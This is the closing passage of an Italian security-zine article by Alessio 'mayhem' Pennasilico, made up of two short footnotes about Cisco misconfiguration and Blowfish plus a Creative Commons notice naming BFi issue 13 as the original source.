[1] ho utilizzato apparati Cisco perche’ sono quelli che conosco meglio. utilizzo quelli per lavoro proprio perche’ mi permettono di proteggere cio’ che voglio nel modo che preferisco. la vulnerabilita’ mostrata non dipende dall’apparato in se, ma dalla sua non corretta configurazione. [2] chi e’ interessato a capire il ruolo fondamentale del blowfish nella storia contemporanea si senta libero di scrivermi in privato o di cercarmi al moca, portando con se il denaro necessario a pagare 2 birre ;PPP. —
Questo articolo e’ stato scritto da Alessio “mayhem” Pennasilico ed e’ soggetto alla licenza Creative Commons nella versione Attribution-ShareAlike 2.0; puo’ pertanto essere distribuito liberamente ed altrettanto liberamente modificato, a patto che se ne citi l’autore e la provenienza. La versione originale dell’articolo puo’ essere scaricata da .
Questo articolo e’ apparso per la prima volta sul n. 13 della ricista BFi, reperibile sul sito http://www.s0ftpj.org
